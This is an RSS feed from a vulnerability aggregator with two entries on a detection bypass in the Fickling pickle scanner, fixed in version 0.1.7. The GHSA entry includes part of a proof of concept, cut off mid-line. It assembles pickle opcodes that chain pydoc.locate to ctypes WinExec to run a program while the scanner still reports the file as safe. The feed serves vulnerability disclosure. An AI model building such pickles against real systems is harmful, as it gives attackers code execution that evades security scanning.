<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://cve.radiocsirt.org</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Fri, 02 Oct 2026 16:06:59 +0000</lastBuildDate>
    <item>
      <title>CVE-2026-22608 — Fickling vulnerable to use of ctypes and pydoc gadget chain to bypass detection</title>
      <link>https://cve.radiocsirt.org/vuln/cve-2026-22608</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; trailofbits fickling&lt;/p&gt;
&lt;p&gt;Fickling is a Python pickling decompiler and static analyzer. Prior to version 0.1.7, both ctypes and pydoc modules aren&amp;#39;t explicitly blocked. Even other existing pickle scanning tools (like picklescan) do not block pydoc.locate. Chaining these two together can achieve RCE while the scanner still reports the file as LIKELY_SAFE. This issue has been patched in version 0.1.7.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; trailofbits fickling&lt;/p&gt;
&lt;p&gt;Fickling is a Python pickling decompiler and static analyzer. Prior to version 0.1.7, both ctypes and pydoc modules aren&amp;#39;t explicitly blocked. Even other existing pickle scanning tools (like picklescan) do not block pydoc.locate. Chaining these two together can achieve RCE while the scanner still reports the file as LIKELY_SAFE. This issue has been patched in version 0.1.7.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/cve-2026-22608</guid>
    </item>
    <item>
      <title>GHSA-5hvc-6wx8-mvv4 — Fickling vulnerable to use of ctypes and pydoc gadget chain to bypass detection</title>
      <link>https://cve.radiocsirt.org/vuln/ghsa-5hvc-6wx8-mvv4</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: fickling&lt;/p&gt;
&lt;p&gt;# Fickling&amp;#39;s assessment&lt;/p&gt;
&lt;p&gt;`pydoc` and `ctypes` were added to the list of unsafe imports (https://github.com/trailofbits/fickling/commit/b793563e60a5e039c5837b09d7f4f6b92e6040d1).&lt;/p&gt;
&lt;p&gt;# Original report&lt;/p&gt;
&lt;p&gt;### Summary
Both ctypes and pydoc modules arent explictly blocked. Even other existing pickle scanning tools (like picklescan) do not block pydoc.locate. Chaining these two together can achieve RCE while the scanner still reports the file as LIKELY_SAFE&lt;/p&gt;
&lt;p&gt;### Details
Import: GLOBAL pydoc locate (Allowed).
Resolution: Call locate(&amp;#39;ctypes.windll.kernel32.WinExec&amp;#39;).
Execution: Call the result with (b&amp;#39;calc.exe&amp;#39;, 1).&lt;/p&gt;
&lt;p&gt;To bypass the unused variable check an exception object is used, on the assumption that Exception would not be blocked in the future as it is a benign builtin&lt;/p&gt;
&lt;p&gt;### PoC
```python
import os&lt;/p&gt;
&lt;p&gt;GLOBAL      = b&amp;#39;c&amp;#39;
STRING      = b&amp;#39;S&amp;#39;
BININT      = b&amp;#39;K&amp;#39;
TUPLE1      = b&amp;#39;\x85&amp;#39;
TUPLE2      = b&amp;#39;\x86&amp;#39;
EMPTY_TUPLE = b&amp;#39;)&amp;#39;
REDUCE      = b&amp;#39;R&amp;#39;
PUT         = b&amp;#39;p&amp;#39;
GET         = b&amp;#39;g&amp;#39;
POP         = b&amp;#39;0&amp;#39;
EMPTY_DICT  = b&amp;#39;}&amp;#39;
SETITEM     = b&amp;#39;s&amp;#39;
BUILD       = b&amp;#39;b&amp;#39;
STOP        = b&amp;#39;.&amp;#39;&lt;/p&gt;
&lt;p&gt;def generate_stealth_payload():
    payload = b&amp;#34;&amp;#34;&lt;/p&gt;
&lt;p&gt;payload += GLOBAL + b&amp;#34;pydoc\nlocate\n&amp;#34;
    payload += STRING + b&amp;#34;&amp;#39;ctypes.windll.kernel32.WinExec&amp;#39;\n&amp;#34;
    payload += TUPLE1 + REDUCE
    payload += PUT + b&amp;#34;0\n&amp;#34; # Var 0 = &amp;lt;_FuncPtr WinExec&amp;gt;
    payload += POP&lt;/p&gt;
&lt;p&gt;payload += GET + b&amp;#34;0\n&amp;#34; 
    payload += b&amp;#34;C&amp;#34; + b&amp;#34;\x08&amp;#34; + b&amp;#34;calc.exe&amp;#34; 
    payload += BININT + b&amp;#34;\x01&amp;#34;             
    payload += TUPLE2 + REDUCE
    paylo…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: fickling&lt;/p&gt;
&lt;p&gt;# Fickling&amp;#39;s assessment&lt;/p&gt;
&lt;p&gt;`pydoc` and `ctypes` were added to the list of unsafe imports (https://github.com/trailofbits/fickling/commit/b793563e60a5e039c5837b09d7f4f6b92e6040d1).&lt;/p&gt;
&lt;p&gt;# Original report&lt;/p&gt;
&lt;p&gt;### Summary
Both ctypes and pydoc modules arent explictly blocked. Even other existing pickle scanning tools (like picklescan) do not block pydoc.locate. Chaining these two together can achieve RCE while the scanner still reports the file as LIKELY_SAFE&lt;/p&gt;
&lt;p&gt;### Details
Import: GLOBAL pydoc locate (Allowed).
Resolution: Call locate(&amp;#39;ctypes.windll.kernel32.WinExec&amp;#39;).
Execution: Call the result with (b&amp;#39;calc.exe&amp;#39;, 1).&lt;/p&gt;
&lt;p&gt;To bypass the unused variable check an exception object is used, on the assumption that Exception would not be blocked in the future as it is a benign builtin&lt;/p&gt;
&lt;p&gt;### PoC
```python
import os&lt;/p&gt;
&lt;p&gt;GLOBAL      = b&amp;#39;c&amp;#39;
STRING      = b&amp;#39;S&amp;#39;
BININT      = b&amp;#39;K&amp;#39;
TUPLE1      = b&amp;#39;\x85&amp;#39;
TUPLE2      = b&amp;#39;\x86&amp;#39;
EMPTY_TUPLE = b&amp;#39;)&amp;#39;
REDUCE      = b&amp;#39;R&amp;#39;
PUT         = b&amp;#39;p&amp;#39;
GET         = b&amp;#39;g&amp;#39;
POP         = b&amp;#39;0&amp;#39;
EMPTY_DICT  = b&amp;#39;}&amp;#39;
SETITEM     = b&amp;#39;s&amp;#39;
BUILD       = b&amp;#39;b&amp;#39;
STOP        = b&amp;#39;.&amp;#39;&lt;/p&gt;
&lt;p&gt;def generate_stealth_payload():
    payload = b&amp;#34;&amp;#34;&lt;/p&gt;
&lt;p&gt;payload += GLOBAL + b&amp;#34;pydoc\nlocate\n&amp;#34;
    payload += STRING + b&amp;#34;&amp;#39;ctypes.windll.kernel32.WinExec&amp;#39;\n&amp;#34;
    payload += TUPLE1 + REDUCE
    payload += PUT + b&amp;#34;0\n&amp;#34; # Var 0 = &amp;lt;_FuncPtr WinExec&amp;gt;
    payload += POP&lt;/p&gt;
&lt;p&gt;payload += GET + b&amp;#34;0\n&amp;#34; 
    payload += b&amp;#34;C&amp;#34; + b&amp;#34;\x08&amp;#34; + b&amp;#34;calc.exe&amp;#34; 
    payload += BININT + b&amp;#34;\x01&amp;#34;             
    payload += TUPLE2 + REDUCE
    paylo…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/ghsa-5hvc-6wx8-mvv4</guid>
    </item>
  </channel>
</rss>
